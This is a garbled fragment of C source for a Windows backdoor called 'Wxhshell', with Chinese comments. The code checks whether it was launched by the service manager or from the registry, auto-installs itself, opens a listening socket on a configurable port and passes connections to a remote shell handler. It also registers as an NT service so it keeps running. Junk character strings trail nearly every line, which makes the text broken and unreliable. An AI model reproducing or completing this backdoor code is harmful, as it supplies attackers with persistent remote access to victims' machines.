PROCNTQSIP NtQueryInformationProcess; r4FSQ$[9w
FDiDHOR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,^
-%<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \s8h.xjU
pT+OPOSR
HANDLE hProcess; 4avkyFj!h
PROCESS_BASIC_INFORMATION pbi; '9vsv\A&
OFv-bb*YZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;X;x.pi
if(NULL == hInst ) return 0; Z1W%fT
:1t&>x=T
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p{qA%D
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8M3DG=D
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yp]vDm
Z 5 .cfI[
if (!NtQueryInformationProcess) return 0;
nmL|v
xZq, kP^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?gU-a
if(!hProcess) return 0; Tl_o+jj
#.]W>hN8\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x=K'Jj
_{LmJ?!
CloseHandle(hProcess); U;ujN 8
!f!YMpN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]*$o qn=m
if(hProcess==NULL) return 0; &% (1?\~u
WzdlrkD
HMODULE hMod; Eos;7$u[
char procName[255]; CucW84H`J
unsigned long cbNeeded; @!x7jPr
[=-,i#4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o2YHT
\P
n
kotKKs
CloseHandle(hProcess); |tY6+T}
S:2 xm8
i
if(strstr(procName,"services")) return 1; // 以服务启动 H`3w=T+I
<VN< ~sz
return 0; // 注册表启动 .;vd
} V~.SgbLc
\Ym$to
// 主模块 0^2e^qf
int StartWxhshell(LPSTR lpCmdLine) X2~KNw
{ /f.
,xs!
SOCKET wsl; f~jdN~
BOOL val=TRUE; s!Id55R]
int port=0; 3!?QQT,!)
struct sockaddr_in door; x )q$.u+
>9g^-~X;v
if(wscfg.ws_autoins) Install(); E/% F0\B
I2z7}*<u
port=atoi(lpCmdLine); Br$/hn=
;%>X+/.y0
if(port<=0) port=wscfg.ws_port; x1CMW`F
4^6Oh#p0
WSADATA data; >Zf*u;/dW$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FNl^ lj`Y
rhQO#_`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gs@^u#O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z;0]T=g
door.sin_family = AF_INET; [ifQLsHA
door.sin_addr.s_addr = inet_addr("127.0.0.1"); OWN|W,
door.sin_port = htons(port); %z
@T /
ri9n.-xs
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Eh`W J~
closesocket(wsl); #TP Y%
return 1;
G0r(xP?
} eLyIQo W
wDh&S{N
if(listen(wsl,2) == INVALID_SOCKET) { w6B`_Z'f
closesocket(wsl); iVqF]2>
return 1; Y k"yup@3
} +@rc(eOwvN
Wxhshell(wsl); V/"41
WSACleanup(); >\5ZgC
uMC0XE|S
return 0; q 7+ |U%!9
yg4ILL
} G_5NS<JE"S
+A_jm!tJS(
// 以NT服务方式启动 1@<>GDB9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B7'2@+(
{ *EtC4sP
DWORD status = 0; Gg7ZSB 7
DWORD specificError = 0xfffffff; aUBu"P$J
`\-MpNw
serviceStatus.dwServiceType = SERVICE_WIN32; twTRw:.!f
serviceStatus.dwCurrentState = SERVICE_START_PENDING; cja-MljD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lo>:S1
serviceStatus.dwWin32ExitCode = 0; 4MgG]
serviceStatus.dwServiceSpecificExitCode = 0; }M\G
serviceStatus.dwCheckPoint = 0; wK%x|%R[
serviceStatus.dwWaitHint = 0; ><@& &u.
69C
ss'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qkyYt#4E
if (hServiceStatusHandle==0) return; u-dF~.x
E~Y%x/oX
status = GetLastError(); {O[ !*+O
if (status!=NO_ERROR) 1`n
ZK$
{ A5dH*< }
serviceStatus.dwCurrentState = SERVICE_STOPPED; gm&O-N"=U
serviceStatus.dwCheckPoint = 0; iB'g7&,L
serviceStatus.dwWaitHint = 0; O{G $]FtF
serviceStatus.dwWin32ExitCode = status; k1WyV_3
serviceStatus.dwServiceSpecificExitCode = specificError; ]0p*EB=C*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23UXOY0BW
return; OoAZ t
} bNz2Uo!0K
_ID =]NJ_
serviceStatus.dwCurrentState = SERVICE_RUNNING; /^Lo@672
serviceStatus.dwCheckPoint = 0; ,PyPRPk
serviceStatus.dwWaitHint = 0; rg+3pX\{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M Xl!
} `JG7Pl/ih
yz=6 V%
// 处理NT服务事件,比如:启动、停止 ]GHx<5Q:\
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jc9^Hyqu&
{ $2*&\/;-E!
switch(fdwControl) SB!m&;Tb
{ o&:n>:im
case SERVICE_CONTROL_STOP: %PU{h
serviceStatus.dwWin32ExitCode = 0; qv+}|+aL:
serviceStatus.dwCurrentState = SERVICE_STOPPED; !yTjO
serviceStatus.dwCheckPoint = 0; #9hSo
serviceStatus.dwWaitHint = 0; qS2]|7q?Tc
{ xZ&S7G1